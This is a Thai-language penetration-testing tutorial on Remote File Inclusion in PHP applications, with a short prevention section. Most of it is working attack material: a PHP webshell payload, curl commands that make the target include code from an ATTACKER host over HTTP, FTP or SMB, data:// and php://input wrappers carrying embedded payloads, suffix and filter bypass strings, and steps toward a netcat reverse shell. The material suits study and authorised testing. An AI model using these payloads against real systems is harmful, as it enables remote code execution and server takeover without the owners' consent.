Remote File Inclusion (RFI)
RFI คล้าย LFI แต่ include ไฟล์จาก URL/ทรัพยากรภายนอกที่ผู้โจมตีควบคุม ทำให้รันโค้ดบนเซิร์ฟเวอร์ได้ทันที (RCE) พบน้อยกว่า LFI เพราะต้องเปิด allow_url_include บทนี้ครอบคลุมเงื่อนไข PHP, wrapper ต่างๆ (http/ftp/data/php), การใช้ SMB บน Windows, และการต่อยอดจาก LFI
1. หลักการและเงื่อนไข
ถ้าฟังก์ชัน include รับ URL ได้ (PHP: include($_GET['page']) + allow_url_include=On) ผู้โจมตีชี้ไปไฟล์โค้ดบนเซิร์ฟเวอร์ตัวเอง เซิร์ฟเวอร์เป้าหมายจะดาวน์โหลดมา รันในบริบทของแอป ทันที = RCE โดยตรง ต่างจาก LFI ที่ต้องหาทางแทรกโค้ดเข้าไฟล์ในเครื่องเป้าหมายก่อน (log poisoning, session, /proc)
| directive PHP | ค่า | ผล |
|---|---|---|
| allow_url_fopen | On (default) | เปิด http:// ftp:// ใน fopen — ยังไม่พอสำหรับ RCE |
| allow_url_include | On (default = Off) | จำเป็นสำหรับ include ผ่าน http/data → RCE |
| allow_url_include | Off | http:// include ไม่ได้ → ต้องหันไป LFI/wrapper อื่น |
2. การตรวจจับ
- 1หา parameter ที่รับชื่อไฟล์/หน้า: ?page= ?file= ?include= ?template= ?lang= ?view=
- 2ทดสอบ LFI ก่อน (../../etc/passwd) — ถ้า LFI ได้ ให้ลองต่อ RFI
- 3ชี้ไป URL ที่เราคุม: ?page=http://YOUR_IP/probe.txt แล้วดู log ว่า target มาดึงไฟล์ไหม (out-of-band)
- 4ถ้า target เชื่อมออกมาได้ = allow_url_fopen เปิด; ถ้าเนื้อไฟล์ถูก include/รัน = allow_url_include เปิด → RFI เต็ม
- 5ถ้า include http ไม่ได้ ลอง data://, php://input, expect://, ftp:// หรือ SMB (Windows)
python3 -m http.server 80) แล้วสังเกต access log — เห็น GET จาก IP เป้าหมาย = out-of-band ยืนยันว่า include ออกนอกได้3. Exploitation — HTTP/FTP RFI
# 1) โฮสต์ payload บนเครื่องผู้โจมตี — ตั้งเป็น .txt ไม่ใช่ .php
# เพื่อไม่ให้ web server ของเรารันเอง (ให้เป้าหมายรันแทน)
echo '<?php system($_GET["c"]); ?>' > shell.txt
python3 -m http.server 80
# 2) ชี้ include ไปที่ไฟล์ + ส่งคำสั่ง
curl 'http://target/?page=http://ATTACKER/shell.txt&c=id'
# ทางเลือก ftp
curl 'http://target/?page=ftp://ATTACKER/shell.txt&c=id'# แอปทำ include($_GET['page'] . ".php")
?page=http://ATTACKER/shell.txt? # ? ทำให้ .php กลายเป็น query
?page=http://ATTACKER/shell.txt%23 # %23 = # ตัด suffix
?page=http://ATTACKER/shell.txt%00 # null byte (PHP < 5.3.4)
# filter ลบ "http://" หนึ่งครั้ง
?page=hthttp://tp://ATTACKER/shell.txt
# filter case
?page=HTTP://ATTACKER/shell.txt4. PHP wrappers — RFI โดยไม่ต้องโฮสต์ไฟล์
เมื่อ allow_url_include=On เราไม่จำเป็นต้องมีเซิร์ฟเวอร์ภายนอก — ใช้ wrapper ที่ฝัง payload ในตัว URL ได้เลย
| wrapper | ตัวอย่าง | เงื่อนไข |
|---|---|---|
| data:// | data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ | allow_url_include=On |
| php://input | ?page=php://input (POST body = โค้ด) | allow_url_include=On |
| expect:// | expect://id | extension expect ติดตั้ง (หายาก) |
| php://filter | อ่าน source (base64) — LFI ไม่ใช่ RCE | ใช้ได้เสมอ (leak code) |
| php://filter chain | chain แปลงจน generate โค้ด → RCE โดยไม่ต้อง upload | PHP ที่มี filter (LFI2RCE) |
# data:// — payload base64 ในตัว URL
B64=$(echo -n '<?php system($_GET["c"]); ?>' | base64)
curl "http://target/?page=data://text/plain;base64,$B64&c=id"
# php://input — ส่งโค้ดใน POST body
curl 'http://target/?page=php://input&c=id' \
--data '<?php system($_GET["c"]); ?>'5. RFI ผ่าน SMB (Windows)
บน Windows แม้ allow_url_include ปิด บางครั้ง include รับ UNC path (\\host\share\file) ได้ ทำให้ host ไฟล์บน SMB share แล้วให้ target ดึงมารัน — ใช้ได้เมื่อ target เชื่อมออก SMB (port 445) มาหาเราได้
# 1) ตั้ง SMB share สาธารณะ (impacket)
mkdir share
echo '<?php system($_GET["c"]); ?>' > share/shell.php
impacket-smbserver -smb2support pub ./share
# 2) include ผ่าน UNC path
curl 'http://target/?page=\\ATTACKER\pub\shell.php&c=id'6. Decision flow
7. ข้อผิดพลาด & troubleshooting
- โฮสต์ payload เป็น .php: web server ของเรารันเอง → target ได้ output ว่างเปล่า ตั้งเป็น .txt
- allow_url_include ปิด: http RFI ใช้ไม่ได้ — pivot ไป LFI + php://filter chain / log poisoning
- suffix .php ต่อท้าย: ใช้ ? หรือ %23 หรือ %00 (เก่า) ตัด suffix
- egress firewall block: target ออกเน็ตไม่ได้ → RFI ภายนอกล้มเหลว ใช้ wrapper ในตัว (data/php://input)
- ลืม url-encode: & ใน URL payload ทำให้ param ขาด — encode ให้ถูก
- SMB ถูก block: port 445 egress ปิด → SMB RFI ใช้ไม่ได้
- คิดว่า RFI พบบ่อย: จริงๆ พบน้อย เพราะ default allow_url_include=Off ตั้งแต่ PHP 5.2 — LFI พบบ่อยกว่ามาก
8. การป้องกัน
- ตั้ง
allow_url_include=Offและallow_url_fopen=Off(ถ้าไม่จำเป็น) - อย่าใช้ input ผู้ใช้ตรงๆ ใน include/require — ใช้ allowlist ของหน้า/ไฟล์ที่อนุญาต
- map ค่า input เป็น key ไปยังไฟล์ที่กำหนดไว้ (เช่น pages['home'] = 'home.php')
- จำกัด egress network ของ web server (block outbound HTTP/SMB) — ลด out-of-band
- ปิด wrapper ที่ไม่จำเป็น (expect, data) และตั้ง open_basedir จำกัด path
- WAF/validation ปฏิเสธ scheme (http/ftp/data/php/expect) และ UNC ใน parameter ไฟล์
9. Quick Reference
- เงื่อนไข: allow_url_include=On (default Off ตั้งแต่ PHP 5.2) — พบน้อย
- ?page=http://attacker/shell.txt&c=id → RCE
- payload ตั้งเป็น .txt ให้เป้าหมายรัน ไม่ใช่เครื่องเรา
- ไม่ต้องโฮสต์: data://text/plain;base64,... / php://input
- bypass suffix: ?page=...txt? / %23 / %00 (เก่า)
- Windows: SMB UNC \\ATTACKER\pub\shell.php (impacket-smbserver)
- allow_url_include ปิด → LFI + php://filter chain (LFI2RCE)
- ป้องกัน: allow_url_include=Off, allowlist, จำกัด egress
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ parameter include ไฟล์แล้วสงสัยว่า include จาก URL ภายนอกได้ (RFI) ไม่ใช่แค่ path ในเครื่อง ทำตามนี้ทีละขั้น
- 1เปิด python3 -m http.server 80 บนเครื่องเรา (Kali) แล้วสร้างไฟล์ test.txt เนื้อ RFI_TEST_OK ไว้ก่อน
- 2ทดสอบเปลี่ยนค่าพารามิเตอร์เป็น URL ของเราเอง: page=http://
/test.txt แล้วดูว่าเนื้อไฟล์นั้นโผล่ในหน้าเว็บไหม - 3ถ้าโผล่ = ยืนยัน RFI ทำงานจริง เปลี่ยนไฟล์ทดสอบเป็น PHP webshell: แล้วตั้งชื่อ .txt (บาง config include แล้ว parse เป็น PHP ตาม allow_url_include)
- 4ยิง ?page=http://
/shell.txt&c=id ดูว่าได้ output คำสั่งกลับมาไหม - 5ถ้าไม่ทำงาน (allow_url_include=Off หรือ include เอาแค่เนื้อ text ไม่ parse) ให้เปลี่ยนไปทดสอบ LFI แทน (include ไฟล์ในเครื่องแทนภายนอก)
- 6ถ้า target กรอง http:// ลองใช้ protocol อื่น: ftp://, data://text/plain;base64,
, หรือ UNC path style สำหรับ Windows/SMB - 7ถ้ายืนยัน RCE ได้แล้ว เปิด nc -lvnp 4444 รอ แล้วให้ webshell ยิง reverse shell กลับมา
- 8ถ้าใช้ data:// wrapper ต้อง encode payload เป็น base64 ก่อน (ใช้ CyberChef หรือ base64 ในเครื่อง)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| host ไฟล์ทดสอบ/payload | python3 -m http.server | already in Kali | - |
| ทดสอบ payload มือ | Burp Repeater / curl | already in Kali | - |
| encode payload สำหรับ data:// wrapper | base64 | already in Kali | CyberChef |
| สร้าง reverse shell payload | nc | already in Kali | revshells.com |
| เรียนรู้ RFI/LFI เพิ่ม | - | - | portswigger / hacktricks |
| ตั้ง listener รอ shell | nc -lvnp | already in Kali | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้